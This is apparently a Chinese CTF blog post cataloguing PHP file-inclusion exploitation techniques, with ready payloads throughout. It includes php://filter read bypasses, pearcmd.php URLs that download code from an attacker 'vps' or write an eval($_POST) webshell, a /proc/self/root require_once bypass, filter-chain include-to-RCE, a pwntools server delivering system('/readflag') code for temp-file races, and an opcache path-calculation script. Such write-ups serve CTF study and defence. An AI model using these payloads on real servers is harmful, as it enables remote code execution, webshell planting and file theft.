文件包含的特殊姿势
filter读文件绕过
最常用的payload莫过于
1 2
| php://filter/convert.base64-encode/resource=<filename> php://filter/convert.string.rot13/resource=<filename>
|
如果base、string等关键词被禁,也可以使用iconv来转换编码
1 2
| php://filter/convert.iconv.ASCII.UCS-2BE/resource=<filename> php://filter/convert.iconv.utf-8.utf-7/resource=<filename>
|
php支持很多编码,具体见链接。此外利用iconv进行多层编码转换可以实现include2shell,后面会讲到。
绕过关键词还可以使用多重url编码来绕过,因为include自带url解码。
1 2
| php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=<filename>
|
pearcmd
参考P牛blog,pecl是管理php拓展使用的命令行工具,pear是pecl依赖的类库,我们所利用的就是pearcmd.php这个位于pecl/pear中的文件。
首先是pecl/pear的安装范围,即trick的使用场景:
- php <= 7.3 默认安装。
- php >= 7.4 在编译PHP的时候指定
--with-pear
才会安装。
- Docker的任意版本镜像中都被默认安装,路径在
/usr/local/lib/php
。
register_argc_argv
此参数开启的情况下,会将$_SERVER[‘argv’]当作参数执行,即我们传入的query_string可以被识别为参数选项。
我们查看pearcmd.php的参数选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| Commands: build Build an Extension From C Source bundle Unpacks a Pecl Package channel-add Add a Channel channel-alias Specify an alias to a channel name channel-delete Remove a Channel From the List channel-discover Initialize a Channel from its server channel-info Retrieve Information on a Channel channel-login Connects and authenticates to remote channel server channel-logout Logs out from the remote channel server channel-update Update an Existing Channel clear-cache Clear Web Services Cache config-create Create a Default configuration file config-get Show One Setting config-help Show Information About Setting config-set Change Setting config-show Show All Settings convert Convert a package.xml 1.0 to package.xml 2.0 format cvsdiff Run a "cvs diff" for all files in a package cvstag Set CVS Release Tag download Download Package download-all Downloads each available package from the default channel info Display information about a package install Install Package list List Installed Packages In The Default Channel list-all List All Packages list-channels List Available Channels list-files List Files In Installed Package list-upgrades List Available Upgrades login Connects and authenticates to remote server [Deprecated in favor of channel-login] logout Logs out from the remote server [Deprecated in favor of channel-logout] makerpm Builds an RPM spec file from a PEAR package package Build Package package-dependencies Show package dependencies package-validate Validate Package Consistency pickle Build PECL Package remote-info Information About Remote Packages remote-list List Remote Packages run-scripts Run Post-Install Scripts bundled with a package run-tests Run Regression Tests search Search remote package database shell-test Shell Script Test sign Sign a package distribution file svntag Set SVN Release Tag uninstall Un-install Package update-channels Update the Channel List upgrade Upgrade Package upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
|
其中有三个选项可以利用,分别是config-create、install、download。
出网
可以使用install以及download直接下载
1
| /?file=/usr/local/lib/php/peclcmd.php&+install+-R+/tmp+http://vps/1.php
|
1
| /?file=/usr/local/lib/php/peclcmd.php&+download+http://vps/1.php
|
区别是install需要指定目录,而download会直接下载到网站根目录(不过有时候可能没有写权限),因此用download不需要知道根目录路径更方便一些。
不出网
使用config-create直接写
1
| /?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[1])?>+/tmp/shell.php
|
注意用burp发包,浏览器会给尖括号编码导致后端无法识别。
require_once绕过
include_once
require_once
对于同一个文件只能包含一次,事实上我们还可以通过/proc/self/root来绕过,这是php中的一个bug,具体见链接。
例题WMCTF2020 make php great again 2.0:
1 2 3 4 5 6
| <?php require_once('flag.php'); if(isset($_GET['content'])) { $content = $_GET['content']; require_once($content); }
|
包含了一次flag.php,无法在包含读取,使用payload
1
| php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
|
多层/proc/self/root嵌套即可,**/proc/self/root本身指向根目录**。
include2shell
参考:https://tttang.com/archive/1395/
相关脚本:https://github.com/synacktiv/php_filter_chain_generator
简而言之,结合 PHP Base64 宽松性,即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode
来去掉非法字符,留下我们想要的字符。
首先回顾一下PHP Base64,它的合法字符包括 A-Za-z0-9\/\=\+
,不过值得注意的是php在解码base64的过程中会完全忽略非法字符(不可见字符,控制字符等),例如
1 2 3 4 5
| <?php $a = "\x1bY\xffQ\xfa"; var_dump(base64_decode($a));
|
php中一个叫做convert.iconv
的 Filter,可以用来将数据从字符集 A 转换为字符集 B,比如
1 2 3 4 5
| <?php $url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text"; echo file_get_contents($url);
|
在编码转换的过程中,固定字符串中的特定内容会出现变化,利用这种特性我们可以遍历所有字符集去产生我们需要的php代码的base64格式,再结合base64解码的宽松性自动删去base64中夹杂的非法字符最终实现rce。
最后一个问题就是包含文件在哪里找,要想实现include2rce我们需要知道文件的具体内容,如果data伪协议可用那么好解决,如果不可用我们就需要通过其它技巧来实现。
比如/etc/passwd
最终产生的shell是
compress.zlib生成临时文件
细节参考链接
临时文件包含的一个延申,需要开启一个http server返回大文件,造成缓存延迟临时文件驻留。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * import requests import re import threading import time
def send_chunk(l, data): l.send('''{}\r {}\r '''.format(hex(len(data))[2:], data))
while(True): l = listen(9999) l.wait_for_connection()
data1 = ''.ljust(1024 * 8, 'X') data2 = '<?php system("/readflag"); exit(); /*'.ljust(1024 * 8, 'b') data3 = 'c*/'.rjust(1024 * 8, 'c')
l.recvuntil('\r\n\r\n') l.send('''HTTP/1.1 200 OK\r Content-Type: exploit/revxakep\r Connection: close\r Transfer-Encoding: chunked\r \r ''')
send_chunk(l, data1)
print('waiting...') print('sending php code...')
send_chunk(l, data2)
sleep(3)
send_chunk(l, data3)
l.send('''0\r \r \r ''') l.close()
|
然后就是竞争包含,其中的传输速率问题需要解决,因为竞争的设置需要与速率匹配,这一点可以通过FTP进行速率控制compress.zlib://ftp://
1
| file=compress.zlib://ftp://vps:9999
|
nginx临时文件
依然是临时文件包含的延伸利用姿势。大概利用到如下几条原理:
- 当nginx接收fastcgi响应过大则会将一部分内容以临时文件的形式存在硬盘上
- 临时文件会被很快清除,但是
/proc/xxx/fd/x
依然可以取到这个临时文件的内容,pid和fd需要遍历
- 利用上面wmctf例题绕过包含次数限制的方法去包含
/proc/xxx/fd/x
即可
详细见链接。
opcache缓存
例题:湖湘杯2020 web1
OPcache是一种通过解析的PHP脚本预编译的字节码存放在共享内存中来避免每次加载和解析PHP脚本的开销,解析器可以直接从共享内存读取已经缓存的字节码,从而大大提高了PHP的执行效率。
简言之,如果开启了OPcache就会在特定目录下产生php文件的缓存file.php.bin。
通过查看phpinfo中的opcache.file_cache参数可以找到缓存的目录。
假设目录为/var/www/cache,那么flag.php的缓存文件路径就是/var/www/cache/[md5]/var/www/html/flag.php.bin
其中的MD5有固定算法,所需要的数据在phpinfo中都可以获取到,计算脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import sys import re import requests from md5 import md5 from packaging import version
url = 'http://y1ng.vip:4332/' phpinfo_url = url + '/?phpinfo'
text = requests.get(phpinfo_url).text php_version = re.search('<tr><td class="e">PHP Version </td><td class="v">(.*) </td></tr>', text) if php_version == None: php_version = re.search('<h1 class="p">PHP Version (.*)', text) if php_version == None: print "No PHP version found, is this a phpinfo file?" exit(0) php_version = php_version.group(1) php_greater_74 = (version.parse("7.4.0") < version.parse(php_version.split("-")[0])) zend_extension_id = re.search('<tr><td class="e">Zend Extension Build </td><td class="v">(.*) </td></tr>', text) if zend_extension_id == None: print "No Zend Extension Build found." exit(0) zend_extension_id = zend_extension_id.group(1) architecture = re.search('<tr><td class="e">System </td><td class="v">(.*) </td></tr>', text) if architecture == None: print "No System info found." exit(0) architecture = architecture.group(1).split()[-1] if architecture == "x86_64": bin_id_suffix = "48888" else: bin_id_suffix = "44444" if php_greater_74: zend_bin_id = "BIN_" + bin_id_suffix else: zend_bin_id = "BIN_SIZEOF_CHAR" + bin_id_suffix if not php_greater_74: if architecture == "x86_64": alt_bin_id_suffix = "148888" else: alt_bin_id_suffix = "144444"
alt_zend_bin_id = "BIN_" + alt_bin_id_suffix print "PHP version : " + php_version print "Zend Extension ID : " + zend_extension_id print "Zend Bin ID : " + zend_bin_id print "Assuming " + architecture + " architecture" digest = md5(php_version + zend_extension_id + zend_bin_id).hexdigest() print "------------" print "System ID : " + digest if not php_greater_74: alt_digest = md5(php_version + zend_extension_id + alt_zend_bin_id).hexdigest() print "PHP lower than 7.4 detected, an alternate Bin ID is possible:" print "Alternate Zend Bin ID : " + alt_zend_bin_id print "Alternate System ID : " + alt_digest print "------------"
|
拿到md5即可直接包含。